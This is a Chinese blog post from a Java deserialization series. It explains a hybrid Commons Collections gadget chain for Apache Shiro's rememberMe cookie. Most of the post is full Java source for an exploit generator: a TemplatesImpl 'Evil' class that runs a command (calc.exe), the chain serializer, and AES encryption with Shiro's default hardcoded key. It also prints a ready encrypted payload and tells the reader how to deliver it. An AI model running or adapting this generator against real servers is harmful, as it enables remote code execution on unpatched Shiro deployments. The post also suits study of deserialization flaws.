Java反序列化(七) | CommonsCollectionsShiro

CommonsCollectionsShiro

General 3000x1967 landscape vector artwork nature plants

CommonsCollectionsShiro单纯是CC链为了满足一些Shiro的反序列化条件而拼接改造的CC链, 所以具体详细过程就不展开分析了, 直接给Gadget和不同CC链的分区, 结合payload生成源码分析即可

CC1+CC6+CC3

Why is CC1+CC6+CC3

实际上在Shiro中的CC脸就是一个CC1+CC6+CC3的杂合链, 为什么是杂合链呢, 主要原因是

  • 不能反序列化数组对象, 所以我们就不能通过数组加载到TanformerChain链式调用所以使用CC3
  • 绕过版本限制所以使用CC6
  • 至于起点的话实际上我们有多个选择,可以使用CC1的HashMap也可以使用CC6中的HashSet,在这里选了HashMap

杂合链Gadget:

----------------------------------CC1-----------------------------------
   java.util.HashMap#readObject
   java.util.HashMap#hash
   java.util.HashMap#key.hashCode
----------------------------------CC6-----------------------------------
   org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
   org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
   org.apache.commons.collections.keyvalue.TiedMapEntry#map.get
   org.apache.commons.collections.map.LazyMap#get
   org.apache.commons.collections.map.LazyMap#factory.transform
   org.apache.commons.collections.functors.InvokerTransformer#transform
----------------------------------CC3-----------------------------------
   java.lang.reflect.Method.invoke
   com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer

将获取序列化数据分为三个部分:

image-20220404235845095

  1. Evil.java用于构造通过CC3反序列化执行命令的恶意类
  2. CommonsCollectionsShiro.java 获取恶意类数据流后写入杂合链中并最后返回序列化数据
  3. Get_poc.java 调度前两个文件得到序列化数据后进行AES+BASE64加密后输出

/POC-macker/CCShiro/Evil.java

构造恶意类Evil然后使使CC6动态加载字节码执行静态代码和构造函数

package POC_macker.CCShiro;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

/POC_macker/CCShiro/CommonsCollectionsShiro.java

获取恶意类的数据流并生成CC6+CC1+CC6的杂合链,序列化后将数据留返回:

package POC_macker.CCShiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro extends Get_poc {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        System.out.println("    杂合链Gadget:\n" +
                "       java.util.HashMap#readObject\n" +
                "       java.util.HashMap#hash\n" +
                "       java.util.HashMap#key.hashCode\n" +
                "       org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode\n" +
                "       org.apache.commons.collections.keyvalue.TiedMapEntry#getValue\n" +
                "       org.apache.commons.collections.keyvalue.TiedMapEntry#map.get\n" +
                "       org.apache.commons.collections.map.LazyMap#get\n" +
                "       org.apache.commons.collections.map.LazyMap#factory.transform\n" +
                "       org.apache.commons.collections.functors.InvokerTransformer#transform\n" +
                "       java.lang.reflect.Method.invoke\n" +
                "       com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer");

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        System.out.println("1.TemplatesImpl对象已创建");

        Transformer invokertransformer = new InvokerTransformer("getClass", null, null);
        System.out.println("2.InvokerTransformer对象已创建");

        Map under_HashMap = new HashMap();
        Map decorate_LazyMap = LazyMap.decorate(under_HashMap, invokertransformer);
        System.out.println("3.LazyMap对象已创建");

        TiedMapEntry tiedMap = new TiedMapEntry(decorate_LazyMap, obj);
        System.out.println("4.TiedMapEntry对象已创建");

        Map expMap = new HashMap();
        expMap.put(tiedMap, "valuevalue");
        System.out.println("5.HashMap对象已创建");

        decorate_LazyMap.clear();
        setFieldValue(invokertransformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println("6.HashMap对象序列化数据流返回");
        return barr.toByteArray();
    }
}

/POC_macker/CCShiro/Get_poc.java

调度获取Evil的字节码并放入杂合链中获得反序列化数据后进行加密,输出加密结果

package POC_macker.CCShiro;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Get_poc {

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());

        System.out.println("Evil恶意类数据流已获取,开始构造CC6+CC1+CC3的杂合链:");
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        System.out.println(payloads.length);
        System.out.println("CC6+CC1+CC3的杂合链构造完成,开始加密数据。。。。。");

        String poc = encrypt(payloads,"kPH+bIxk5D2deZiIxcaaaA==");
        System.out.println(poc);
    }

    public static String encrypt(byte[] plaintext, String _key){
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode(_key);
        ByteSource ciphertext = aes.encrypt(plaintext, key);
        return ciphertext.toString();
    }
}

执行/POC_macker/Get_poc.java中的main得到加密数据放到包中即可

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

注意我们要手动删除原本自带的session, 否则在有session的情况下Shiro是不会去反序列化remenberMe的

使用Payload:

image-20220405000238194

心情记录: ...................麻.......................

因为一些挺离谱的问题导致浪费了很多时间, 差不多一半的时间都用来调试环境了, 在这里说一下主要问题吧:

  1. Shiro的环境导入配置问题(修改javax.servlet版本为1.2)

  2. 在pom文件手动导入CC依赖

  3. payload生成问题(这个花时间最多, 修改代码的时候不小心把CC链中的TiedMapEntry里面的LazyMap写成了HashMap, 导致全部过程根本没有用到LazyMap,所以反序列化自然就失败了, 但是当时完全没发现, 反复去查找环境也没发现问题,纯粹个人问题了只能说.....)

  4. 如果显示程序包加载失败建议到项目结构切换SDK为其它版本的JDK

  5. 找不到javassist的话在pom添加一下依赖即可:

    
    
       org.javassist
       javassist
       3.27.0-GA
    

我们最多需要手动添加两个依赖项:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇